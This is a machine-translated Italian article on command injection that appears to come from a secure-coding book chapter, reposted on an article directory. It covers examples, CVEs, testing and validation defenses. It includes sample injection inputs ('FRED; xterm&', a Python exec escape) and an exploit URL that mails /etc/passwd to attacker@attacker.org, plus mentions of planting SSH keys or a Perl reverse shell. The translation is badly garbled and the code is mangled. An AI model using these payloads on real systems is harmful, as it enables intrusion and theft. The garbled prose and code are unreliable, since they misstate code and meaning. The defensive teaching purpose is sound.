Iniezione Di Ordine
In 1994, l'autore di questa lezione privata stava sedendosi davanti un calcolatore di SGI che fa funzionare IRIX che stava mostrando semplicemente lo schermo di inizio attività. Ha dato l'opzione per stampare una certa documentazione e per specificare lo stampatore per usare. L'autore ha immaginato che cosa l'esecuzione potrebbe essere, ha specificato una stringa che il didn’t realmente si riferisce ad uno stampatore ed improvvisamente ha fatto una finestra del coordinatore annotare su una scatola il wasn t dell'autore’non soltanto supposto per avere accesso a, ma anche’il wasn t persino in. Il problema era un attacco dell'iniezione di ordine, dove l'utente ha immesso che è stato significato per essere dati realmente può parzialmente essere interpretato come ordine di una certa specie. Spesso, quell'ordine può dare la persona con controllo sopra l'accesso di dati a molto più accesso che è stato inteso mai. Lingue AffectedI problemi dell'iniezione di ordine sono una preoccupazione in qualsiasi momento gli ordini ed i dati sono disposti insieme in linea. Mentre le lingue possono eliminare alcuni degli attacchi dell'iniezione di ordine più diretti fornendo le buone interfacce di programmazione di applicazione (APIs) che realizzano la convalida adeguata dell'input, ci è sempre la possibilità che nuovo APIs introdurrà i nuovi generi di attacchi dell'iniezione di ordine. Il Sin Ha spiegatoI problemi dell'iniezione di ordine accadono quando untrusted i dati è disposto nei dati che sono passati ad una certa specie del compilatore o dell'interpretatore, in cui i dati potrebbero, se’s formattassero in un senso particolare, sono trattare come qualcosa tranne i dati. L'esempio canonico per questo problema è stato sempre chiamate di api che direttamente denominano l'interpretatore di ordine del sistema senza alcuna convalida. Per esempio, il vecchio schermo di inizio attività di IRIX (accennato precedentemente) stava facendo qualcosa seguendo le linee di: carbone buf[1024 ]; snprintf(buf, "lpr del sistema - P %s", user_input, sizeof(buf)-1); system(buf); In questo caso, l'utente era unprivileged, poiché potrebbe essere assolutamente chiunque che vaga da una stazione di lavoro. Tuttavia, semplicemente scrivendo il testo a macchina: FRED; il xterm&, un terminale schioccherebbe in su, perché; concluderebbe l'ordine originale nelle coperture del sistema; e l'ordine del xterm genererebbe una nuova finestra terminale intera aspetta per gli ordini, con & dire al sistema di fare funzionare il processo senza ostruire il processo corrente. (nelle coperture di Windows, il metacharacter di segno & si comporta lo stessi come punto e virgola su una scatola di UNIX.) E, poiché il processo di inizio attività ha avuto privilegi amministrativi, il terminale che ha generato inoltre avrebbe privilegi amministrativi! Ci è abbondanza delle funzioni attraverso molte lingue che sono suscettibili di tali attacchi, come’ll vedete più successivamente. Ma, un doesn t di attacco dell'iniezione’di ordine richiede una funzione che denomina alle coperture del sistema. Per esempio, un attacker ha potuto potere leverage una chiamata ad un interpretatore di lingua. Ciò è abbastanza popolare nei linguaggi ad alto livello quali il Perl ed il python. Per esempio, consideri il seguente codice del python: call_func(user_input, system_data del def): exec 'special_function_%s("%s") '% (system_data,
user_input
Nel codice preceding, dell'operatore del python il % si comporta tanto come * gli specifiers del printf in C. Abbinano sui valori nelle parentesi con i valori di %s nella stringa. Di conseguenza, questo codice è inteso per denominare una funzione scelta dal sistema, passantegli la discussione dall'utente. Per esempio, se lo system_data fosse campione ed il user_input fosse fred, il python farebbe funzionare il codice: special_function_sample("fred")
E, questo codice funzionerebbe nella stessa portata che la dichiarazione del exec è dentro. I attackers che controllano il user_input possono eseguire tutto il codice che del python desiderano con quel processo, semplicemente aggiungendo una citazione, seguita da una giusta parentesi e da un punto e virgola. Per esempio, il attacker ha potuto provare la stringa: fred"); stampa ("foo
Ciò indurrà la funzione a fare funzionare il seguente codice: special_function_sample("fred"); stampa ("foo")
Ciò farà non soltanto che cosa il programmatore ha inteso, ma inoltre stamperà il foo. I attackers possono fare letteralmente qualche cosa qui, compreso cancelli le lime con i privilegi del programma, o persino faccia i collegamenti di rete. Se questa flessibilità dà i attackers accede a a più privilegi che hanno avuti al contrario, questo sono un problema di sicurezza. Molti di questi problemi accadono quando le costruzioni ed i dati di controllo juxtaposed ed i attackers possono usare un carattere speciale per cambiare il contesto di nuovo alle costruzioni di controllo. Nella cassa delle coperture di ordine, ci sono caratteri magici numerosi che possono fare questo. Per esempio, su la maggior parte UNIX-COME le macchine, se i attackers dovessero aggiungere un punto e virgola (che conclude una dichiarazione), backtick (dati fra i backticks ottengono eseguiti come codice), o una barra verticale (tutto dopo che la barra fosse trattare come un altro, processo relativo), potrebbero fare funzionare gli ordini arbitrari. Ci sono altri caratteri speciali che possono cambiare il contesto dai dati a controllo; questi sono giusti il più evidente. Una tecnica comune per l'attenuazione dei problemi con gli ordini funzionanti deve usare un api per denominare direttamente l'ordine, senza passare attraverso lle coperture. Per esempio, su una scatola di UNIX, là’s la famiglia del execv() delle funzioni, che salta le coperture e denomina il programma direttamente, dante le discussioni come stringhe. Ciò è una buona cosa, ma doesn’t risolve sempre il problema, specialmente perché il programma deposto le uova in se potrebbe mettere i dati a destra vicino alle costruzioni importanti di controllo. Per esempio, denominare il execv() su un programma del python che allora passa la lista di discussione ad un exec sarebbe difettosa. Persino abbiamo visto i casi dove execv() d’/bin/sh (le coperture della gente di ordine), che completamente manca il punto. Sins RelativiAlcuni dei sins possono essere osservati come generi specifici di problemi dell'iniezione di ordine. L'iniezione di SQL è chiaramente un genere specifico di attacco dell'iniezione di ordine. I problemi della stringa di disposizione possono essere visti come genere di problema dell'iniezione di ordine, anche. Ciò è perché il attacker prende un valore che il programmatore ha invitare ad essere dati ed allora gli inserti leggono e scrivono gli ordini (per esempio, lo specifier di %n è un ordine di scrittura). Quei casi particolari sono così comuni che’ve li abbiamo curati esclusivamente. Ciò è inoltre il problema di nucleo in traversa-luogo che scripting, dove i attackers inscatolano hanno scelto i dati che assomigliano agli organi di comando particolari di fotoricettore se quei dati non sono convalidati correttamente. Macchia del modello di sinQui sono gli elementi al modello:
Macchia del sin durante la rassegna di codiceCi sono chiamate di api e costruzioni numerose di lingua attraverso un'ampia varietà di linguaggi di programmazione differenti che sono suscettibili di questo problema. Un buon metodo a rivedere il codice per questo problema è ad in primo luogo identifica ogni costruzione che potrebbe possibilmente essere usata per invocare qualunque genere di processor di ordine (coperture comprese di ordine, una base di dati, o l'interpretatore di linguaggio di programmazione in se). Allora, sguardo con il programma per vedere se c'è ne di quelle costruzioni realmente sono usate. Se sono, allora controlli per vedere se una misura difensiva adatta sia presa. Mentre le misure difensive possono variare basato sul sin, uno dovrebbe solitamente essere scettico dei metodi neg-lista-basati e la consent-lista di favore si avvicina a (veda “la sezione di punti” di estinzione che segue). Qui sono alcune delle costruzioni più popolari da preoccupare circa:
Tecniche di collaudo per trovare il sinGeneralmente, la cosa da fare è di prendere ogni input, di pensare al che genere di coperture di ordine potrebbe possibilmente ottenere passata fuori, quindi provare ad attaccare in ogni metacharacter per quelle coperture e vede se scoppia. Naturalmente, desiderate scegliere gli input in un senso che, se il metacharacter funziona, qualche cosa di volontà misurabile realmente accade. Per esempio, se desiderate esaminare per vedere se i dati sono passati alle coperture di UNIX, aggiunga un punto e virgola ed allora provi a spedirsi per posta qualcosa. Ma, se i dati sono parte interna disposta un stringa citata, potreste dovere inserire una citazione di conclusione per uscire. Per coprire questo, potreste avere un caso che inserisce una citazione seguita da un punto e virgola, allora un ordine della prova che si spedisce per posta qualcosa. Controlli se arresta o fa altre cose difettose, così come se ottenete il E-mail; il vostro caso della prova non potrebbe effettuare la sequenza esatta di attacco, ma potrebbe essere abbastanza vicino che può tranquillo rivelare il problema. Mentre ci sono difese possibili molto, in pratica, probabilmente avete vinto’la necessità di t di ottenere troppo operati. Potete generare solitamente un programma semplice che genera un certo numero di permutazioni di vari metacharacters (caratteri di controllo che hanno significati speciali, come;) e gli ordini, trasmettono quelli ai vari input e vedono se qualche cosa di risultati spiacevoli. Gli attrezzi dalle aziende quali i dynamics e Watchfire di SPI automatizzano questo genere di prova ad applicazioni fotoricettore-basate. Sins Di EsempioLe seguenti entrate sul Web site comune di esposizioni e di vulnerabilità (CVE) (http://cve.mitre.org) sono esempi degli attacchi dell'iniezione di ordine. CAN-2001-1187Lo scritto dell'interfaccia di Gateway comune del Perl di CSVForm (cgi) aggiunge le annotazioni ad una lima di base di dati separata virgola di valore (CSV). OmniHTTPd 2.07 navi di web server con uno scritto ha denominato statsconfig.pl. Dopo che la domanda sia analizzata, il nome di schedario (passato nel parametro della lima) ottiene passato al seguente codice: modify_CSV secondario {if(open(CSV,
$_[0])){ … }
Là’s nessuna convalida dell'input fatta sul nome di schedario, uno. Così potete usare il trucco crudele di aggiunta del tubo alla conclusione del nome di schedario. Un'impresa di esempio consisterebbe di visitare il seguente URL: http://www.example.com/cgi-bin/csvform.pl?file=mail%20attacker@attacker.org</etc/passwd| Su un sistema di UNIX, questo E-mail di volontà la lima di parola d'accesso del sistema ad un attacker. Si noti che i %20 sono uno spazio URL-MESSO. La decodificazione ottiene fatta prima che lo scritto del cgi ottenga passato ai relativi dati. L'impresa di esempio diamo il isn’t tutto che interessando attualmente, perché la lima di parola d'accesso di UNIX dà soltanto i usernames. I attackers probabilmente decideranno fare qualcosa preferibilmente che li permetta di entrare, come scrivono una chiave pubblica a ~/.ssh/authorized_keys. O, i attackers possono realmente usare questo sia al upload che fare funzionare tutto il programma che desiderano scrivendo i byte ad una lima. Poiché il Perl ovviamente già è installato su tutta la scatola che fa funzionare questa, una cosa evidente da fare sarebbe di scrivere uno scritto semplice del Perl per collegare di nuovo al attacker e su collegamento, dà al attacker lle coperture di ordine. CAN-2002-0652Il servizio del montaggio del sistema di lima di IRIX tiene conto il montaggio a distanza del sistema di lima sopra le chiamate del RPC e generalmente è installato per difetto. Risulta che, su fino a trovare l'insetto in 2002, molte della lima controllano che l'assistente abbia dovuto fare quando ricevendo una richiesta a distanza sia stato effettuato usando il popen() per allontanarsi gli ordini dalla linea di ordine. Le informazioni usate in quella chiamata sono state prese direttamente dall'utente a distanza e un punto e virgola bene-disposto nel parametro del RPC permetterebbe che il attacker faccia funzionare gli ordini delle coperture come radice sulla scatola. Punti Di EstinzioneLa cosa evidente da fare è di non invocare mai un interpretatore di ordine di tutta la specie. Ma, quel isn’t sempre pratico, particolarmente quando usando una base di dati. Similmente, sarebbe giusta circa come utile dire che se dovete usare lle coperture di ordine, indossi’l'uso di t tutti i dati esterni in esso. Quel consiglio pratico’giusto del isn t nella maggior parte dei casi. L'unica risposta utile deve fare la convalida. La strada all'estinzione è abbastanza diretta qui:
Convalida Di DatiAl livello elevato, avete due scelte. Potete o convalidare tutto voi’con riferimento ad andare spedire fuori al processo esterno, o potete convalidare appena le parti da che sono immessi untrusted le fonti. Uno uno è finchè benissimo, voi’con riferimento a completo a questo proposito. ’S solitamente una buona idea convalidare i dati esterni radrizza prima che la usiate. Ci sono lle coppie dei motivi per questa. In primo luogo, si accerta che i dati ottengano esaminati su ogni percorso di dati che porta a quell'uso. In secondo luogo, la semantica dei dati è spesso destra capita migliore prima di usando i dati. Ciò permette che siate esatti come possibile con i vostri controlli di convalida dell'input. Inoltre è una buona difesa contro la possibilità dei dati che sono modificati in un senso difettoso dopo il controllo. Infine, tuttavia, una strategia di difesa-in-profondità è la cosa migliore qui. Esso’s anche buona controllare i dati poichè entra in modo che non ci sia rischio di esso che usando senza essere controllato altrove. Specialmente se ci sono lotti dei posti in cui i dati possono essere abusati, potrebbe essere facile da trascurare un controllo in alcuni posti. Ci sono tre sensi prominenti determinare la validità di dati:
Tutti questi metodi hanno lo svantaggio che potreste dimenticare qualche cosa di importante. Nel caso delle neg-liste e di citazione, questo ha potuto ovviamente avere implicazioni difettose di sicurezza. Infatti, esso’s improbabile che voi’estremità del ll in su con software sicuro usando un metodo della neg-lista se voi’con riferimento a passare i dati ad alcuni generi di sistemi (quali le coperture), perché la lista dei caratteri che possono avere significato speciale è realmente abbastanza lunga. Per alcuni sistemi, appena circa qualche cosa tranne le lettere e le cifre può avere un significato speciale. La citazione è inoltre molto più difficile di si potrebbe pensare. Per esempio, quando uno è codice di scrittura che realizza la citazione per alcuni generi di processor di ordine,’s comune all'introito una stringa e la attacca nelle citazioni. Se’con riferimento a non attento, attackers potete gettare appena le loro proprie citazioni dentro là. E, con alcuni processor di ordine, ci sono metacharacters uniformi che hanno significato all'interno di una stringa citata (questo include le coperture di ordine di UNIX). Per darvi un senso di quanto difficile può essere, prova annotare ogni metacharacter delle coperture di UNIX sui vostri propri. Includa tutto che possa essere preso come controllo, anziché i dati. Quanto grande è la vostra lista? La nostra lista include ogni parte di punteggiatura tranne @, _, +,:, e la virgola. E noi’con riferimento a non sicuro che quei caratteri sono universalmente sicuri. Ci hanno potuto essere coperture a dove’con riferimento non. Potete pensare che abbiate alcuni altri caratteri che possono non essere interpretati mai con il significato speciale. Un segno minus? Quello ha potuto essere interpretato come segnalazione dell'inizio di una ordine-linea opzione se esso’s all'inizio di una parola. Come circa il carat (^)? lo avete conosciuto fate la sostituzione? Come circa i % del segno? Mentre potrebbe spesso essere inoffensivo una volta interpretato come metacharacter, esso è un metacharacter in alcune circostanze, perché fa il controllo di lavoro. Il tilde (~) è simile in quanto, in alcuni piani d'azione, si espanderà all'indice domestico di un utente se esso’s all'inizio di una parola, ma al contrario esso non sarà considerato un metacharacter. Quella potrebbe essere una perdita delle informazioni o più difettoso, specialmente se è un vettore per vedere una parte del sistema di lima quel lo shouldn t’di programma può vedere. Per esempio, potreste attaccare il vostro programma in /home/blah/application ed allora respingete i doppi puntini nella stringa. Ma l'utente potrebbe potere accedere a qualche cosa in /home/blah appena premettendo con il ~blah. Anche gli spazi possono essere caratteri di controllo, perché sono usati per separare semanticamente fra le discussioni o gli ordini. Ci sono molti tipi di spazi con questo comportamento, compreso le linguette, le nuove linee, i ritorni del carrello, le alimentazioni di forma e le linguette verticali. Il più, là può essere caratteri di controllo come CTRL-D ed il carattere NULLO che possono avere effetti indesiderabili. Tutti in tutto, esso’s molto più facile usare una consent-lista. Se’con riferimento ad andare usare una neg-lista, voi’d siete più meglio incredibilmente sicuri voi’con riferimento a riguardare tutte le vostre basi. Ma, le consent-liste da solo non possono essere abbastanza. La formazione è necessaria definitivamente, perché anche se’con riferimento a usando una consent-lista, voi poteste permettere gli spazi o i tildes senza realizzare che cosa potrebbe accadere nel vostro programma da una prospettiva di sicurezza. Un'altra edizione con le consent-liste è che potreste avere utenti infelici perché gli input che dovrebbero essere permessi aren’la t. Per esempio, non potreste concedere a “+” in un indirizzo di E-mail, ma trovate la gente che come usarle per differenziare a chi’con riferimento a dare il loro indirizzo di E-mail. Eppure, il metodo della consent-lista è fortemente preferibile agli altri due metodi. Consideri il caso dove prendete un valore dall'utente che voi’ossequio del ll come nome di schedario. Lasci’l'opinione che di s fate la convalida come tale (questo esempio è in python): per il carbone nel nome di schedario: se (non carbone in string.ascii_letters e non carbone in string.digits e carbone < > '.'): aumento "InputValidationError" Ciò concede i periodi in moda da potere scrivere l'utente dentro le lime a macchina con le estensioni, ma si dimentica circa il sottolineamento, che è comune. Ma, con un metodo della neg-lista, non potreste pensare respingete il taglio, che sarebbe difettoso; un attacker ha potuto usarlo più i puntini per accedere alle lime altrove sul filesystem, oltre l'indice corrente. Con un metodo di citazione, avreste dovuto scrivere una procedura molto più complessa analizzare. Esso’s comune per usare le espressioni normali per effettuare questo genere di prova. Le espressioni normali sono facili da ottenere errate, tuttavia, particolarmente quando diventano complesse. Se desiderate alle costruzioni annidate maniglia ed a tali, dimentichisi a questo proposito. Generalmente, da una vista di sicurezza, esso’s più meglio da essere sicuro che spiacente. Usando le espressioni normali può condurre alle pratiche facili piuttosto che sicuri, specialmente quando i controlli più precisi richiederebbero il controllo semantico più complesso che un fiammifero semplice del modello. Quando un controllo viene a mancareCi sono tre strategie generali ad occuparsi di un guasto. ’con riferimento reciprocamente all'esclusiva non neppure.’S good a sempre fa almeno i primi due:
Indossiamo’la t generalmente suggeriamo la terza opzione. Potete fare non soltanto un errore, ma inoltre quando indossate’la t faccia un errore, ma l'utilizzatore finale, la semantica può essere inatteso.’S più facile venire a mancare semplicemente e così sicuro. Misure Difensive SupplementariSe sembrate usare il Perl, la lingua ha facilità per aiutarle a rilevare questo genere di errore a tempo di esecuzione.’S ha denominato il modo di segno. L'idea di base è che il Perl ha vinto’la t li ha lasciati trasmettere unsanitized i dati ad una delle funzioni difettose qui sopra. Ma, i controlli funzionano soltanto nel modo di segno, in modo da non ottenete beneficio se indossate’la t la fate funzionare. Più, potete casualmente dati di ONU-SEGNO senza realmente convalidare qualche cosa. Ci è altre limitazioni secondarie, anche, in modo da esso’s good non contare solamente su questo meccanismo. Ciò nonostante, esso’s ancora un attrezzo difficile grande e solitamente degno accendere come una delle vostre difese. Per le chiamate comuni di api che invocano i processor di ordine, potreste desiderare scrivere il vostro proprio involucro api loro che consent-lista che filtra e gettate un'eccezione se l'input è difettoso. Questo shouldn’t è l'unica convalida che dell'input perché, spesso,’s più meglio per effettuare il sanity più dettagliato verifica i valori di dati. Ma, esso’s una buona prima linea di difesa ed esso’s facile fare rispettare. Potete o marca gli involucri sostituire “le funzioni” difettose, o potete utilizzare un attrezzo semplice di ricerca nel codice che verificate per trovare tutti i casi che avete mancato e rapidamente che fate il giusto rimontaggio. Conclusioni
ciò è un articolo aggiunto da Hendra Fang
Diniego: Il nostro Web site non è responsabile delle informazioni contenute da questo articolo. Questo articolo in nessun modo riflette le viste, le opinioni, i pensieri o la credenza del personale dell'indice degli articoli. Avviso di traduzione: L'articolo "iniezione di ordine" è stato tradotto usando un servizio di traduzione automatizzato. Chiediamo scusa francamente per tutti gli errori di traduzione che hanno accaduto. Grazie per capire.
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Online: 1747 users browsing the articles directory |
|
|